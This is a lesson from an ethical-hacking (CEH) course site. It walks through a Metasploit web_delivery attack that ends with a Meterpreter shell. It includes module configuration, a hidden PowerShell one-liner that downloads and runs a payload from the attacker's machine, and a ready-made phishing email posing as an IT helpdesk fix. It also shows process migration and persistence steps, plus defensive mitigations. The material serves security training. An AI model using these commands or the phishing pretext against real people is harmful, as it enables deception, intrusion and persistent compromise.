Cyber Services / All lessons / CEH — Ethical Hacking / Social Engineering and Client-Side Attacks with Metasploit Framework

Social Engineering and Client-Side Attacks with Metasploit Framework

Module 65 of 130 · 4 min read · Free to read

MODULES ↓ Command blocks have a COPY button

I. CEHv13 Perspective: The Modern Attack Chain

The CEHv13 curriculum emphasizes a shift from traditional, file-based attacks to more sophisticated, evasive techniques. This guide focuses on a quintessential modern attack chain: leveraging social engineering to trigger a fileless, in-memory payload execution. This method bypasses many signature-based antivirus solutions by never writing a malicious executable to the target's disk, aligning perfectly with modern "Living off the Land" (LotL) tactics.

Core Concepts for This Lab
  • Social Engineering: The art of manipulating human psychology to bypass technical security controls. It is the primary delivery vector for our attack.
  • Client-Side Exploitation: Targeting vulnerabilities in user-facing applications (like PowerShell) rather than network services. The attack initiative comes from the client connecting out to the attacker.
  • Fileless Malware: A type of malicious software that exists only in RAM. It does not write any part of itself to the hard drive, making it highly evasive.

II. The Attack Scenario: A Phishing Campaign with a Twist

Our objective is to gain a Meterpreter shell on a Windows target. Instead of tricking the user into downloading and running an .exe file, we will convince them to run a single, seemingly harmless command in PowerShell. This command will instruct their machine to download and execute our payload directly into memory.

Phase 1: Weaponization with Metasploit's Web Delivery

We will use the exploit/multi/script/web_delivery module. This powerful tool sets up a web server on the attacker's machine that hosts a payload script. When the target requests the script, Metasploit delivers it, and the handler catches the resulting reverse shell.

  1. Launch Metasploit: Open a terminal on your Kali machine.
    msfconsole -q
  2. Configure the Exploit:
    use exploit/multi/script/web_delivery
    set target 2
    set payload windows/x64/meterpreter/reverse_tcp
    set LHOST Your_Kali_IP
    set LPORT 4444
    set uripath /win_update
Deconstructing the Configuration:
  • set target 2: This specifically selects PowerShell as the payload delivery format. It's a critical choice for targeting modern Windows systems.
  • set payload ...reverse_tcp: We select a staged Meterpreter payload for 64-bit systems. Staged payloads are smaller, making the initial one-liner command more compact.
  • set LHOST ...: This must be the IP address of your Kali machine that the victim can reach.
  • set uripath /win_update: Customizing the URI path makes the URL slightly less suspicious than the random default.
  1. Launch the Attacker Server:
    exploit -j

    Metasploit will now start the web server as a background job (-j) and display the malicious one-liner command you need to deliver to the victim.

Phase 2: Delivery via Social Engineering

Metasploit will provide a command like this. This is your weapon.

powershell.exe -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://Your_Kali_IP:8080/win_update'))"

Now, you must craft a believable pretext to get the user to run it. This is the "social engineering" skill test.

Example Phishing Pretext:

Subject: Action Required: Fix for Outlook Slowness

Dear Employee,

The IT department has received reports of Outlook performance issues. We have developed a quick fix that you can apply yourself. Please follow these steps to resolve the issue:

  1. Press the Windows key, type "powershell", and press Enter.
  2. In the blue window that appears, copy and paste the entire command below and press Enter. The fix will apply in the background.
powershell.exe -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://Your_Kali_IP:8080/win_update'))"

Thank you,
Your IT Helpdesk

Phase 3: Gaining Access & Post-Exploitation

Once the victim runs the command, their machine connects to your Metasploit web server, downloads the PowerShell stager into RAM, executes it, and gives you a shell.

  1. Catch the Shell: Your Metasploit console will spring to life.
    [*] Meterpreter session 1 opened (Your_Kali_IP:4444 -> Victim_IP:port)
    msf6 exploit(multi/script/web_delivery) > sessions -i 1
  2. Stabilize the Session (Critical Step): The shell exists within the PowerShell process, which a user might close. Immediately migrate to a more stable process like explorer.exe.
    meterpreter > ps
    meterpreter > migrate PID_of_explorer.exe
  3. Establish Persistence: To survive a reboot, use a persistence module.
    meterpreter > run exploit/windows/local/persistence

IV. Defense & Mitigation: A Blue Team Perspective

Countering Fileless Attacks

As an ethical hacker, your report must include recommendations for defense. Here's how to stop this specific attack:

  • PowerShell Logging: The most effective technical control. Enable "Script Block Logging" and "Module Logging" via Group Policy. This records the deobfuscated content of PowerShell scripts, even those run in memory, providing high-fidelity evidence of the attack.
  • PowerShell Constrained Language Mode: Deploying this mode prevents access to the underlying .NET functions and Win32 APIs that malicious scripts rely on, effectively neutering them.
  • Attack Surface Reduction (ASR) Rules: Implement Microsoft's ASR rules, particularly those that block script-based attacks originating from office applications or web downloads.
  • Endpoint Detection & Response (EDR): An EDR solution is designed to detect this anomalous behavior. It will flag a process like Outlook spawning PowerShell, which then makes an outbound network connection to an IP address—a classic indicator of compromise (IOC).
  • User Education: The ultimate defense. Train users to recognize the red flags of social engineering and to never run commands provided by an unsolicited source.
Modules (130) ← CEH — Ethical Hacking